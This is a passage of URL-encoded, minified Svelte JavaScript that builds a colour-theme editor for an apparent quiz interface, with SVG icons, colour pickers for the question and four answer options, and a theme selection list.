d%2Cr%5D%7Dclass%20Un%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Cqn%2CLn%2Ci%2C%7Bsize%3A9%2Cwidth%3A0%2Cheight%3A1%2Ccolor%3A2%2CviewBox%3A3%2CariaLabel%3A4%2CariaHidden%3A5%2Ctitle%3A6%2Cdesc%3A7%2Cclass%3A8%7D)%7D%7Dfunction%20jn(e)%7Blet%20t%2Cn%3Breturn%7Bc()%7Bt%3DI(%22desc%22)%2Cn%3Dk(e%5B7%5D)%7D%2Cm(e%2Cr)%7BE(e%2Ct%2Cr)%2Cw(t%2Cn)%7D%2Cp(e%2Ct)%7B128%26t%26%26D(n%2Ce%5B7%5D)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20Bn(e)%7Blet%20t%2Cn%3Breturn%7Bc()%7Bt%3DI(%22title%22)%2Cn%3Dk(e%5B6%5D)%7D%2Cm(e%2Cr)%7BE(e%2Ct%2Cr)%2Cw(t%2Cn)%7D%2Cp(e%2Ct)%7B64%26t%26%26D(n%2Ce%5B6%5D)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20Hn(t)%7Blet%20n%2Cr%2Co%2Ci%3Dt%5B7%5D%26%26jn(t)%2Cs%3Dt%5B6%5D%26%26Bn(t)%3Breturn%7Bc()%7Bn%3DI(%22svg%22)%2Ci%26%26i.c()%2Cr%3DC()%2Cs%26%26s.c()%2Co%3DI(%22path%22)%2CM(o%2C%22d%22%2C%22M12%2C20C7.59%2C20%204%2C16.41%204%2C12C4%2C7.59%207.59%2C4%2012%2C4C16.41%2C4%2020%2C7.59%2020%2C12C20%2C16.41%2016.41%2C20%2012%2C20M12%2C2A10%2C10%200%200%2C0%202%2C12A10%2C10%200%200%2C0%2012%2C22A10%2C10%200%200%2C0%2022%2C12A10%2C10%200%200%2C0%2012%2C2M13%2C7H11V11H7V13H11V17H13V13H17V11H13V7Z%22)%2CM(o%2C%22fill%22%2Ct%5B2%5D)%2CM(n%2C%22viewBox%22%2Ct%5B3%5D)%2CM(n%2C%22width%22%2Ct%5B0%5D)%2CM(n%2C%22height%22%2Ct%5B1%5D)%2CM(n%2C%22class%22%2Ct%5B8%5D)%2CM(n%2C%22aria-label%22%2Ct%5B4%5D)%2CM(n%2C%22aria-hidden%22%2Ct%5B5%5D)%7D%2Cm(e%2Ct)%7BE(e%2Cn%2Ct)%2Ci%26%26i.m(n%2Cnull)%2Cw(n%2Cr)%2Cs%26%26s.m(n%2Cnull)%2Cw(n%2Co)%7D%2Cp(e%2C%5Bt%5D)%7Be%5B7%5D%3Fi%3Fi.p(e%2Ct)%3A(i%3Djn(e)%2Ci.c()%2Ci.m(n%2Cr))%3Ai%26%26(i.d(1)%2Ci%3Dnull)%2Ce%5B6%5D%3Fs%3Fs.p(e%2Ct)%3A(s%3DBn(e)%2Cs.c()%2Cs.m(n%2Co))%3As%26%26(s.d(1)%2Cs%3Dnull)%2C4%26t%26%26M(o%2C%22fill%22%2Ce%5B2%5D)%2C8%26t%26%26M(n%2C%22viewBox%22%2Ce%5B3%5D)%2C1%26t%26%26M(n%2C%22width%22%2Ce%5B0%5D)%2C2%26t%26%26M(n%2C%22height%22%2Ce%5B1%5D)%2C256%26t%26%26M(n%2C%22class%22%2Ce%5B8%5D)%2C16%26t%26%26M(n%2C%22aria-label%22%2Ce%5B4%5D)%2C32%26t%26%26M(n%2C%22aria-hidden%22%2Ce%5B5%5D)%7D%2Ci%3Ae%2Co%3Ae%2Cd(e)%7Be%26%26_(n)%2Ci%26%26i.d()%2Cs%26%26s.d()%7D%7D%7Dfunction%20zn(e%2Ct%2Cn)%7Blet%7Bsize%3Ar%3D%221em%22%7D%3Dt%2C%7Bwidth%3Ao%3Dr%7D%3Dt%2C%7Bheight%3Ai%3Dr%7D%3Dt%2C%7Bcolor%3As%3D%22currentColor%22%7D%3Dt%2C%7BviewBox%3Aa%3D%220%200%2024%2024%22%7D%3Dt%2C%7BariaLabel%3Ac%7D%3Dt%2C%7BariaHidden%3Al%7D%3Dt%2C%7Btitle%3Au%7D%3Dt%2C%7Bdesc%3Af%7D%3Dt%2C%7Bclass%3Ad%7D%3Dt%3Breturn%20e.%24%24set%3De%3D%3E%7B%22size%22in%20e%26%26n(9%2Cr%3De.size)%2C%22width%22in%20e%26%26n(0%2Co%3De.width)%2C%22height%22in%20e%26%26n(1%2Ci%3De.height)%2C%22color%22in%20e%26%26n(2%2Cs%3De.color)%2C%22viewBox%22in%20e%26%26n(3%2Ca%3De.viewBox)%2C%22ariaLabel%22in%20e%26%26n(4%2Cc%3De.ariaLabel)%2C%22ariaHidden%22in%20e%26%26n(5%2Cl%3De.ariaHidden)%2C%22title%22in%20e%26%26n(6%2Cu%3De.title)%2C%22desc%22in%20e%26%26n(7%2Cf%3De.desc)%2C%22class%22in%20e%26%26n(8%2Cd%3De.class)%7D%2C%5Bo%2Ci%2Cs%2Ca%2Cc%2Cl%2Cu%2Cf%2Cd%2Cr%5D%7Dclass%20Vn%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Czn%2CHn%2Ci%2C%7Bsize%3A9%2Cwidth%3A0%2Cheight%3A1%2Ccolor%3A2%2CviewBox%3A3%2CariaLabel%3A4%2CariaHidden%3A5%2Ctitle%3A6%2Cdesc%3A7%2Cclass%3A8%7D)%7D%7Dfunction%20Fn(e)%7Bx(e%2C%22svelte-v66qr8%22%2C%22.buttons.svelte-v66qr8%7Bdisplay%3Aflex%3Bflex-direction%3Arow%3Bwidth%3A100%25%7D.submit.svelte-v66qr8%2C.cancel.svelte-v66qr8%7Bpadding%3A10px%3Bmargin%3A10px%3Bfont-size%3A20px%3Bborder%3Anone%3Bborder-radius%3A5px%3Bflex-grow%3A1%7D.submit.svelte-v66qr8%7Bbackground-color%3Agreen%7D.cancel.svelte-v66qr8%7Bbackground-color%3Ared%7Ddialog.svelte-v66qr8%7Bwidth%3A80%25%3Bheight%3A80%25%3Bdisplay%3Aflex%7D.pickers.svelte-v66qr8%7Bwidth%3A200px%3Boverflow-y%3Aauto%3Boverflow-x%3Ahidden%7D.wrap.svelte-v66qr8%7Bdisplay%3Aflex%3Bflex-direction%3Acolumn%3Bheight%3A100%25%3Bflex-grow%3A1%7D.question.svelte-v66qr8%7Bwidth%3A100%25%3Bheight%3A30%25%3Bfont-family%3A'Product%20Sans'%2C%20sans-serif%3Bdisplay%3Aflex%3Balign-items%3Acenter%3Bjustify-content%3Acenter%3Bfont-size%3A50px%7D.options.svelte-v66qr8%7Bflex-grow%3A1%3Bdisplay%3Agrid%3Bgrid-template-columns%3Arepeat(2%2C%201fr)%3Bwidth%3A100%25%7D.option.svelte-v66qr8%7Bbackground-color%3Ablue%3Bdisplay%3Aflex%3Balign-items%3Acenter%3Bjustify-content%3Acenter%3Bfont-family%3A'Product%20Sans'%2C%20sans-serif%3Bfont-size%3A25px%3Bborder%3A6px%20solid%20rgba(0%2C%200%2C%200%2C%200.3)%7D%22)%7Dfunction%20Wn(e%2Ct%2Cn)%7Bconst%20r%3De.slice()%3Breturn%20r%5B16%5D%3Dt%5Bn%5D%2Cr%5B18%5D%3Dn%2Cr%7Dfunction%20Jn(e)%7Blet%20t%2Cn%2Cr%3Breturn%7Bc()%7Bt%3DO(%22div%22)%2Cn%3DO(%22div%22)%2Cn.textContent%3D%60Option%20%24%7Be%5B18%5D%2B1%7D%60%2Cr%3DT()%2CM(t%2C%22class%22%2C%22option%20svelte-v66qr8%22)%2Cq(t%2C%22background-color%22%2Ce%5B1%5D.palette%5Be%5B18%5D%5D.background)%2Cq(t%2C%22color%22%2Ce%5B1%5D.palette%5Be%5B18%5D%5D.text)%7D%2Cm(e%2Co)%7BE(e%2Ct%2Co)%2Cw(t%2Cn)%2Cw(t%2Cr)%7D%2Cp(e%2Cn)%7B2%26n%26%26q(t%2C%22background-color%22%2Ce%5B1%5D.palette%5Be%5B18%5D%5D.background)%2C2%26n%26%26q(t%2C%22color%22%2Ce%5B1%5D.palette%5Be%5B18%5D%5D.text)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20Gn(e)%7Blet%20t%2Cn%2Co%2Ci%2Cs%2Ca%2Cc%2Cl%2Cu%2Cf%2Cd%2Ch%2Cp%2Cg%2Cm%2C%24%2Cy%2Cv%2Cb%2Cx%2CI%2Ck%2CC%2CS%2CP%2CN%2CD%2CL%2CU%2Cj%2CB%2CH%2Cz%2CV%2CF%2CW%2CJ%2CK%2CQ%2CX%2CY%2CZ%2Cte%2Cne%2Cre%3Bfunction%20oe(t)%7Be%5B4%5D(t)%7Dlet%20ie%3D%7Btext%3A%22Question%20Background%22%2CallowOpacity%3A!1%7D%3Bfunction%20se(t)%7Be%5B5%5D(t)%7Dvoid%200!%3D%3De%5B1%5D.question.background%26%26(ie.color%3De%5B1%5D.question.background)%2Co%3Dnew%20nn(%7Bprops%3Aie%7D)%2CG.push((()%3D%3Ede(o%2C%22color%22%2Coe)))%3Blet%20ae%3D%7Btext%3A%22Question%20Text%22%2CallowOpacity%3A!1%7D%3Bfunction%20ce(t)%7Be%5B6%5D(t)%7Dvoid%200!%3D%3De%5B1%5D.question.text%26%26(ae.color%3De%5B1%5D.question.text)%2Ca%3Dnew%20nn(%7Bprops%3Aae%7D)%2CG.push((()%3D%3Ede(a%2C%22color%22%2Cse)))%3Blet%20me%3D%7Btext%3A%22Option%201%20Background%22%2CallowOpacity%3A!1%7D%3Bfunction%20%24e(t)%7Be%5B7%5D(t)%7Dvoid%200!%3D%3De%5B1%5D.palette%5B0%5D.background%26%26(me.color%3De%5B1%5D.palette%5B0%5D.background)%2Cu%3Dnew%20nn(%7Bprops%3Ame%7D)%2CG.push((()%3D%3Ede(u%2C%22color%22%2Cce)))%3Blet%20ye%3D%7Btext%3A%22Option%201%20Text%22%2CallowOpacity%3A!1%7D%3Bfunction%20ve(t)%7Be%5B8%5D(t)%7Dvoid%200!%3D%3De%5B1%5D.palette%5B0%5D.text%26%26(ye.color%3De%5B1%5D.palette%5B0%5D.text)%2Ch%3Dnew%20nn(%7Bprops%3Aye%7D)%2CG.push((()%3D%3Ede(h%2C%22color%22%2C%24e)))%3Blet%20be%3D%7Btext%3A%22Option%202%20Background%22%2CallowOpacity%3A!1%7D%3Bfunction%20we(t)%7Be%5B9%5D(t)%7Dvoid%200!%3D%3De%5B1%5D.palette%5B1%5D.background%26%26(be.color%3De%5B1%5D.palette%5B1%5D.background)%2Cm%3Dnew%20nn(%7Bprops%3Abe%7D)%2CG.push((()%3D%3Ede(m%2C%22color%22%2Cve)))%3Blet%20xe%3D%7Btext%3A%22Option%202%20Text%22%2CallowOpacity%3A!1%7D%3Bfunction%20Ee(t)%7Be%5B10%5D(t)%7Dvoid%200!%3D%3De%5B1%5D.palette%5B1%5D.text%26%26(xe.color%3De%5B1%5D.palette%5B1%5D.text)%2Cv%3Dnew%20nn(%7Bprops%3Axe%7D)%2CG.push((()%3D%3Ede(v%2C%22color%22%2Cwe)))%3Blet%20_e%3D%7Btext%3A%22Option%203%20Background%22%2CallowOpacity%3A!1%7D%3Bfunction%20Ae(t)%7Be%5B11%5D(t)%7Dvoid%200!%3D%3De%5B1%5D.palette%5B2%5D.background%26%26(_e.color%3De%5B1%5D.palette%5B2%5D.background)%2CI%3Dnew%20nn(%7Bprops%3A_e%7D)%2CG.push((()%3D%3Ede(I%2C%22color%22%2CEe)))%3Blet%20Oe%3D%7Btext%3A%22Option%203%20Text%22%2CallowOpacity%3A!1%7D%3Bfunction%20Ie(t)%7Be%5B12%5D(t)%7Dvoid%200!%3D%3De%5B1%5D.palette%5B2%5D.text%26%26(Oe.color%3De%5B1%5D.palette%5B2%5D.text)%2CS%3Dnew%20nn(%7Bprops%3AOe%7D)%2CG.push((()%3D%3Ede(S%2C%22color%22%2CAe)))%3Blet%20ke%3D%7Btext%3A%22Option%204%20Background%22%2CallowOpacity%3A!1%7D%3Bfunction%20Te(t)%7Be%5B13%5D(t)%7Dvoid%200!%3D%3De%5B1%5D.palette%5B3%5D.background%26%26(ke.color%3De%5B1%5D.palette%5B3%5D.background)%2CD%3Dnew%20nn(%7Bprops%3Ake%7D)%2CG.push((()%3D%3Ede(D%2C%22color%22%2CIe)))%3Blet%20Ce%3D%7Btext%3A%22Option%204%20Text%22%2CallowOpacity%3A!1%7D%3Bvoid%200!%3D%3De%5B1%5D.palette%5B3%5D.text%26%26(Ce.color%3De%5B1%5D.palette%5B3%5D.text)%2Cj%3Dnew%20nn(%7Bprops%3ACe%7D)%2CG.push((()%3D%3Ede(j%2C%22color%22%2CTe)))%3Blet%20Re%3Dfe(%7Blength%3A4%7D)%2CSe%3D%5B%5D%3Bfor(let%20t%3D0%3Bt%3CRe.length%3Bt%2B%3D1)Se%5Bt%5D%3DJn(Wn(e%2CRe%2Ct))%3Breturn%7Bc()%7Bt%3DO(%22dialog%22)%2Cn%3DO(%22div%22)%2Che(o.%24%24.fragment)%2Cs%3DT()%2Che(a.%24%24.fragment)%2Cl%3DT()%2Che(u.%24%24.fragment)%2Cd%3DT()%2Che(h.%24%24.fragment)%2Cg%3DT()%2Che(m.%24%24.fragment)%2Cy%3DT()%2Che(v.%24%24.fragment)%2Cx%3DT()%2Che(I.%24%24.fragment)%2CC%3DT()%2Che(S.%24%24.fragment)%2CN%3DT()%2Che(D.%24%24.fragment)%2CU%3DT()%2Che(j.%24%24.fragment)%2CH%3DT()%2Cz%3DO(%22div%22)%2CV%3DO(%22div%22)%2CF%3DO(%22div%22)%2CF.textContent%3D%22Example%20Question%20Text%22%2CW%3DT()%2CJ%3DO(%22div%22)%3Bfor(let%20e%3D0%3Be%3CSe.length%3Be%2B%3D1)Se%5Be%5D.c()%3BK%3DT()%2CQ%3DO(%22div%22)%2CX%3DO(%22button%22)%2CX.textContent%3D%22Create%22%2CY%3DT()%2CZ%3DO(%22button%22)%2CZ.textContent%3D%22Cancel%22%2CM(n%2C%22class%22%2C%22pickers%20svelte-v66qr8%22)%2CM(V%2C%22class%22%2C%22question%20svelte-v66qr8%22)%2Cq(V%2C%22background-color%22%2Ce%5B1%5D.question.background)%2Cq(V%2C%22color%22%2Ce%5B1%5D.question.text)%2CM(J%2C%22class%22%2C%22options%20svelte-v66qr8%22)%2CM(X%2C%22class%22%2C%22submit%20svelte-v66qr8%22)%2CM(Z%2C%22class%22%2C%22cancel%20svelte-v66qr8%22)%2CM(Q%2C%22class%22%2C%22buttons%20svelte-v66qr8%22)%2CM(z%2C%22class%22%2C%22wrap%20svelte-v66qr8%22)%2CM(t%2C%22class%22%2C%22svelte-v66qr8%22)%7D%2Cm(r%2Ci)%7BE(r%2Ct%2Ci)%2Cw(t%2Cn)%2Cpe(o%2Cn%2Cnull)%2Cw(n%2Cs)%2Cpe(a%2Cn%2Cnull)%2Cw(n%2Cl)%2Cpe(u%2Cn%2Cnull)%2Cw(n%2Cd)%2Cpe(h%2Cn%2Cnull)%2Cw(n%2Cg)%2Cpe(m%2Cn%2Cnull)%2Cw(n%2Cy)%2Cpe(v%2Cn%2Cnull)%2Cw(n%2Cx)%2Cpe(I%2Cn%2Cnull)%2Cw(n%2CC)%2Cpe(S%2Cn%2Cnull)%2Cw(n%2CN)%2Cpe(D%2Cn%2Cnull)%2Cw(n%2CU)%2Cpe(j%2Cn%2Cnull)%2Cw(t%2CH)%2Cw(t%2Cz)%2Cw(z%2CV)%2Cw(V%2CF)%2Cw(z%2CW)%2Cw(z%2CJ)%3Bfor(let%20e%3D0%3Be%3CSe.length%3Be%2B%3D1)Se%5Be%5D%26%26Se%5Be%5D.m(J%2Cnull)%3Bw(z%2CK)%2Cw(z%2CQ)%2Cw(Q%2CX)%2Cw(Q%2CY)%2Cw(Q%2CZ)%2Ce%5B14%5D(t)%2Cte%3D!0%2Cne%7C%7C(re%3D%5BR(X%2C%22click%22%2Ce%5B2%5D)%2CR(Z%2C%22click%22%2Ce%5B3%5D)%2CR(t%2C%22close%22%2Ce%5B3%5D)%5D%2Cne%3D!0)%7D%2Cp(e%2C%5Bt%5D)%7Bconst%20n%3D%7B%7D%3B!i%26%262%26t%26%26(i%3D!0%2Cn.color%3De%5B1%5D.question.background%2Cee((()%3D%3Ei%3D!1)))%2Co.%24set(n)%3Bconst%20r%3D%7B%7D%3B!c%26%262%26t%26%26(c%3D!0%2Cr.color%3De%5B1%5D.question.text%2Cee((()%3D%3Ec%3D!1)))%2Ca.%24set(r)%3Bconst%20s%3D%7B%7D%3B!f%26%262%26t%26%26(f%3D!0%2Cs.color%3De%5B1%5D.palette%5B0%5D.background%2Cee((()%3D%3Ef%3D!1)))%2Cu.%24set(s)%3Bconst%20l%3D%7B%7D%3B!p%26%262%26t%26%26(p%3D!0%2Cl.color%3De%5B1%5D.palette%5B0%5D.text%2Cee((()%3D%3Ep%3D!1)))%2Ch.%24set(l)%3Bconst%20d%3D%7B%7D%3B!%24%26%262%26t%26%26(%24%3D!0%2Cd.color%3De%5B1%5D.palette%5B1%5D.background%2Cee((()%3D%3E%24%3D!1)))%2Cm.%24set(d)%3Bconst%20g%3D%7B%7D%3B!b%26%262%26t%26%26(b%3D!0%2Cg.color%3De%5B1%5D.palette%5B1%5D.text%2Cee((()%3D%3Eb%3D!1)))%2Cv.%24set(g)%3Bconst%20y%3D%7B%7D%3B!k%26%262%26t%26%26(k%3D!0%2Cy.color%3De%5B1%5D.palette%5B2%5D.background%2Cee((()%3D%3Ek%3D!1)))%2CI.%24set(y)%3Bconst%20w%3D%7B%7D%3B!P%26%262%26t%26%26(P%3D!0%2Cw.color%3De%5B1%5D.palette%5B2%5D.text%2Cee((()%3D%3EP%3D!1)))%2CS.%24set(w)%3Bconst%20x%3D%7B%7D%3B!L%26%262%26t%26%26(L%3D!0%2Cx.color%3De%5B1%5D.palette%5B3%5D.background%2Cee((()%3D%3EL%3D!1)))%2CD.%24set(x)%3Bconst%20E%3D%7B%7D%3Bif(!B%26%262%26t%26%26(B%3D!0%2CE.color%3De%5B1%5D.palette%5B3%5D.text%2Cee((()%3D%3EB%3D!1)))%2Cj.%24set(E)%2C(!te%7C%7C2%26t)%26%26q(V%2C%22background-color%22%2Ce%5B1%5D.question.background)%2C(!te%7C%7C2%26t)%26%26q(V%2C%22color%22%2Ce%5B1%5D.question.text)%2C2%26t)%7Blet%20n%3Bfor(Re%3Dfe(%7Blength%3A4%7D)%2Cn%3D0%3Bn%3CRe.length%3Bn%2B%3D1)%7Bconst%20r%3DWn(e%2CRe%2Cn)%3BSe%5Bn%5D%3FSe%5Bn%5D.p(r%2Ct)%3A(Se%5Bn%5D%3DJn(r)%2CSe%5Bn%5D.c()%2CSe%5Bn%5D.m(J%2Cnull))%7Dfor(%3Bn%3CSe.length%3Bn%2B%3D1)Se%5Bn%5D.d(1)%3BSe.length%3DRe.length%7D%7D%2Ci(e)%7Bte%7C%7C(le(o.%24%24.fragment%2Ce)%2Cle(a.%24%24.fragment%2Ce)%2Cle(u.%24%24.fragment%2Ce)%2Cle(h.%24%24.fragment%2Ce)%2Cle(m.%24%24.fragment%2Ce)%2Cle(v.%24%24.fragment%2Ce)%2Cle(I.%24%24.fragment%2Ce)%2Cle(S.%24%24.fragment%2Ce)%2Cle(D.%24%24.fragment%2Ce)%2Cle(j.%24%24.fragment%2Ce)%2Cte%3D!0)%7D%2Co(e)%7Bue(o.%24%24.fragment%2Ce)%2Cue(a.%24%24.fragment%2Ce)%2Cue(u.%24%24.fragment%2Ce)%2Cue(h.%24%24.fragment%2Ce)%2Cue(m.%24%24.fragment%2Ce)%2Cue(v.%24%24.fragment%2Ce)%2Cue(I.%24%24.fragment%2Ce)%2Cue(S.%24%24.fragment%2Ce)%2Cue(D.%24%24.fragment%2Ce)%2Cue(j.%24%24.fragment%2Ce)%2Cte%3D!1%7D%2Cd(n)%7Bn%26%26_(t)%2Cge(o)%2Cge(a)%2Cge(u)%2Cge(h)%2Cge(m)%2Cge(v)%2Cge(I)%2Cge(S)%2Cge(D)%2Cge(j)%2CA(Se%2Cn)%2Ce%5B14%5D(null)%2Cne%3D!1%2Cr(re)%7D%7D%7Dfunction%20Kn(e%2Ct%2Cn)%7Blet%20r%2Co%3DstructuredClone(%7B...Mn%5B0%5D%2Ccustom%3A!0%7D)%2Ci%3DF()%3Breturn%20z((()%3D%3E%7Bdocument.body.appendChild(r)%2Cr.showModal()%7D))%2C%5Br%2Co%2Cfunction()%7Bi(%22submit%22%2Co)%7D%2Cfunction()%7Bi(%22submit%22%2Cnull)%7D%2Cfunction(t)%7Be.%24%24.not_equal(o.question.background%2Ct)%26%26(o.question.background%3Dt%2Cn(1%2Co))%7D%2Cfunction(t)%7Be.%24%24.not_equal(o.question.text%2Ct)%26%26(o.question.text%3Dt%2Cn(1%2Co))%7D%2Cfunction(t)%7Be.%24%24.not_equal(o.palette%5B0%5D.background%2Ct)%26%26(o.palette%5B0%5D.background%3Dt%2Cn(1%2Co))%7D%2Cfunction(t)%7Be.%24%24.not_equal(o.palette%5B0%5D.text%2Ct)%26%26(o.palette%5B0%5D.text%3Dt%2Cn(1%2Co))%7D%2Cfunction(t)%7Be.%24%24.not_equal(o.palette%5B1%5D.background%2Ct)%26%26(o.palette%5B1%5D.background%3Dt%2Cn(1%2Co))%7D%2Cfunction(t)%7Be.%24%24.not_equal(o.palette%5B1%5D.text%2Ct)%26%26(o.palette%5B1%5D.text%3Dt%2Cn(1%2Co))%7D%2Cfunction(t)%7Be.%24%24.not_equal(o.palette%5B2%5D.background%2Ct)%26%26(o.palette%5B2%5D.background%3Dt%2Cn(1%2Co))%7D%2Cfunction(t)%7Be.%24%24.not_equal(o.palette%5B2%5D.text%2Ct)%26%26(o.palette%5B2%5D.text%3Dt%2Cn(1%2Co))%7D%2Cfunction(t)%7Be.%24%24.not_equal(o.palette%5B3%5D.background%2Ct)%26%26(o.palette%5B3%5D.background%3Dt%2Cn(1%2Co))%7D%2Cfunction(t)%7Be.%24%24.not_equal(o.palette%5B3%5D.text%2Ct)%26%26(o.palette%5B3%5D.text%3Dt%2Cn(1%2Co))%7D%2Cfunction(e)%7BG%5Be%3F%22unshift%22%3A%22push%22%5D((()%3D%3E%7Br%3De%2Cn(0%2Cr)%7D))%7D%5D%7Dclass%20Qn%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2CKn%2CGn%2Ci%2C%7B%7D%2CFn)%7D%7Dfunction%20Xn(e)%7Bx(e%2C%22svelte-1yznqq%22%2C%22.createTheme.svelte-1yznqq.svelte-1yznqq%7Bdisplay%3Aflex%3Balign-items%3Acenter%3Bjustify-content%3Acenter%3Bgap%3A5px%7D.title.svelte-1yznqq.svelte-1yznqq%7Bposition%3Arelative%3Bwidth%3A100%25%3Btext-align%3Acenter%3Bdisplay%3Aflex%3Bjustify-content%3Acenter%7D.title.svelte-1yznqq%3Ediv.svelte-1yznqq%7Bposition%3Aabsolute%3Bright%3A0%3Btop%3A0%7D.theme.svelte-1yznqq.svelte-1yznqq%7Bdisplay%3Aflex%3Bflex-direction%3Acolumn%3Balign-items%3Acenter%3Bmargin%3A10px%7D.theme.selected.svelte-1yznqq.svelte-1yznqq%7Bborder%3A5px%20solid%20black%3Boutline%3A3px%20solid%20white%7D.options.svelte-1yznqq.svelte-1yznqq%7Bdisplay%3Aflex%3Bflex-direction%3Arow%3Balign-items%3Acenter%3Bwidth%3A100%25%7D.option.svelte-1yznqq.svelte-1yznqq%7Bflex-grow%3A1%3Btext-align%3Acenter%3Bmargin%3A5px%7D.themeEnabled.svelte-1yznqq.svelte-1yznqq%7Bdisplay%3Aflex%3Balign-items%3Acenter%3Bjustify-content%3Acenter%3Bmargin-left%3A10px%3Bmargin-right%3A10px%7D.themeEnabled.svelte-1yznqq%3Ediv.svelte-1yznqq%7Bmargin-right%3A10px%7D.themeEnabled.svelte-1yznqq%3Einput.svelte-1yznqq%7Bwidth%3A20px%3Bheight%3A20px%7D%22)%7Dfunction%20Yn(e%2Ct%2Cn)%7Bconst%20r%3De.slice()%3Breturn%20r%5B20%5D%3Dt%5Bn%5D%2Cr%5B22%5D%3Dn%2Cr%7Dfunction%20Zn(e%2Ct%2Cn)%7Bconst%20r%3De.slice()%3Breturn%20r%5B23%5D%3Dt%5Bn%5D%2Cr%5B25%5D%3Dn%2Cr%7Dfunction%20er(t)%7Blet%20n%2Cr%3Breturn%20n%3Dnew%20Qn(%7B%7D)%2Cn.%24on(%22submit%22%2Ct%5B7%5D)%2C%7Bc()%7Bhe(n.%24%24.fragment)%7D%2Cm(e%2Ct)%7Bpe(n%2Ce%2Ct)%2Cr%3D!0%7D%2Cp%3Ae%2Ci(e)%7Br%7C%7C(le(n.%24%24.fragment%2Ce)%2Cr%3D!0)%7D%2Co(e)%7Bue(n.%24%24.fragment%2Ce)%2Cr%3D!1%7D%2Cd(e)%7Bge(n%2Ce)%7D%7D%7Dfunction%20tr(t)%7Blet%20n%2Cr%2Co%2Ci%3Breturn%20o%3Dnew%20Vn(%7Bprops%3A%7Bwidth%3A30%2Cheight%3A30%7D%7D)%2C%7Bc()%7Bn%3DO(%22div%22)%2Cr%3Dk(%22New%20Theme%5Cr%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%22)%2Che(o.%24%24.fragment)%2CM(n%2C%22class%22%2C%22createTheme%20svelte-1yznqq%22)%7D%2Cm(e%2Ct)%7BE(e%2Cn%2Ct)%2Cw(n%2Cr)%2Cpe(o%2Cn%2Cnull)%2Ci%3D!0%7D%2Cp%3Ae%2Ci(e)%7Bi%7C%7C(le(o.%24%24.fragment%2Ce)%2Ci%3D!0)%7D%2Co(e)%7Bue(o.%24%24.fragment%2Ce)%2Ci%3D!1%7D%2Cd(e)%7Be%26%26_(n)%2Cge(o)%7D%7D%7Dfunction%20nr(e)%7Blet%20t%2Cn%2Cr%2Co%2Ci%3Bfunction%20s()%7Breturn%20e%5B11%5D(e%5B20%5D)%7Dreturn%20n%3Dnew%20Un(%7Bprops%3A%7Bwidth%3A25%2Cheight%3A25%7D%7D)%2C%7Bc()%7Bt%3DO(%22div%22)%2Che(n.%24%24.fragment)%2CM(t%2C%22class%22%2C%22svelte-1yznqq%22)%7D%2Cm(e%2Ca)%7BE(e%2Ct%2Ca)%2Cpe(n%2Ct%2Cnull)%2Cr%3D!0%2Co%7C%7C(i%3DR(t%2C%22click%22%2CP(s))%2Co%3D!0)%7D%2Cp(t%2Cn)%7Be%3Dt%7D%2Ci(e)%7Br%7C%7C(le(n.%24%24.fragment%2Ce)%2Cr%3D!0)%7D%2Co(e)%7Bue(n.%24%24.fragment%2Ce)%2Cr%3D!1%7D%2Cd(e)%7Be%26%26_(t)%2Cge(n)%2Co%3D!1%2Ci()%7D%7D%7Dfunction%20rr(e)%7Blet%20t%2Cn%2Cr%2Co%3De%5B25%5D%2B1%2B%22%22%3Breturn%7Bc()%7Bt%3DO(%22div%22)%2Cn%3Dk(o)%2Cr%3DT()%2CM(t%2C%22class%22%2C%22option%20svelte-1yznqq%22)%2Cq(t%2C%22background-color%22%2Ce%5B23%5D.background)%2Cq(t%2C%22color%22%2Ce%5B23%5D.text)%7D%2Cm(e%2Co)%7BE(e%2Ct%2Co)%2Cw(t%2Cn)%2Cw(t%2Cr)%7D%2Cp(e%2Cn)%7B1%26n%26%26q(t%2C%22background-color%22%2Ce%5B23%5D.background)%2C1%26n%26%26q(t%2C%22color%22%2Ce%5B23%5D.text)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20or(e)%7Blet%20t%2Cn%2Cr%2Co%2Ci%2Cs%2Ca%2Cc%2Cl%2Cu%2Cf%2Cd%3De%5B22%5D%2B1%2B%22%22%2Ch%3De%5B20%5D.custom%26%26nr(e)%2Cp%3Dfe(e%5B20%5D.palette)%2Cg%3D%5B%5D%3Bfor(let%20t%3D0%3Bt%3Cp.length%3Bt%2B%3D1)g%5Bt%5D%3Drr(Zn(e%2Cp%2Ct))%3Bfunction%20m()%7Breturn%20e%5B12%5D(e%5B20%5D)%7Dreturn%7Bc()%7Bt%3DO(%22div%22)%2Cn%3DO(%22div%22)%2Cr%3Dk(%22Theme%20%22)%2Co%3Dk(d)%2Ci%3DT()%2Ch%26%26h.c()%2Cs%3DT()%2Ca%3DO(%22div%22)%3Bfor(let%20e%3D0%3Be%3Cg.length%3Be%2B%3D1)g%5Be%5D.c()%3Bc%3DT()%2CM(n%2C%22class%22%2C%22title%20svelte-1yznqq%22)%2CM(a%2C%22class%22%2C%22options%20svelte-1yznqq%22)%2CM(t%2C%22class%22%2C%22theme%20svelte-1yznqq%22)%2Cq(t%2C%22background-color%22%2Ce%5B20%5D.question.background)%2Cq(t%2C%22color%22%2Ce%5B20%5D.question.text)%2CU(t%2C%22selected%22%2Ce%5B1%5D%3D%3D%3De%5B20%5D)%7D%2Cm(e%2Cd)%7BE(e%2Ct%2Cd)%2Cw(t%2Cn)%2Cw(n%2Cr)%2Cw(n%2Co)%2Cw(n%2Ci)%2Ch%26%26h.m(n%2Cnull)%2Cw(t%2Cs)%2Cw(t%2Ca)%3Bfor(let%20e%3D0%3Be%3Cg.length%3Be%2B%3D1)g%5Be%5D%26%26g%5Be%5D.m(a%2Cnull)%3Bw(t%2Cc)%2Cl%3D!0%2Cu%7C%7C(f%3DR(t%2C%22click%22%2Cm)%2Cu%3D!0)%7D%2Cp(r%2Co)%7Bif((e%3Dr)%5B20%5D.custom%3Fh%3F(h.p(e%2Co)%2C1%26o%26%26le(h%2C1))%3A(h%3Dnr(e)%2Ch.c()%2Cle(h%2C1)%2Ch.m(n%2Cnull))%3Ah%26%26(ae()%2Cue(h%2C1%2C1%2C(()%3D%3E%7Bh%3Dnull%7D))%2Cce())%2C1%26o)%7Bl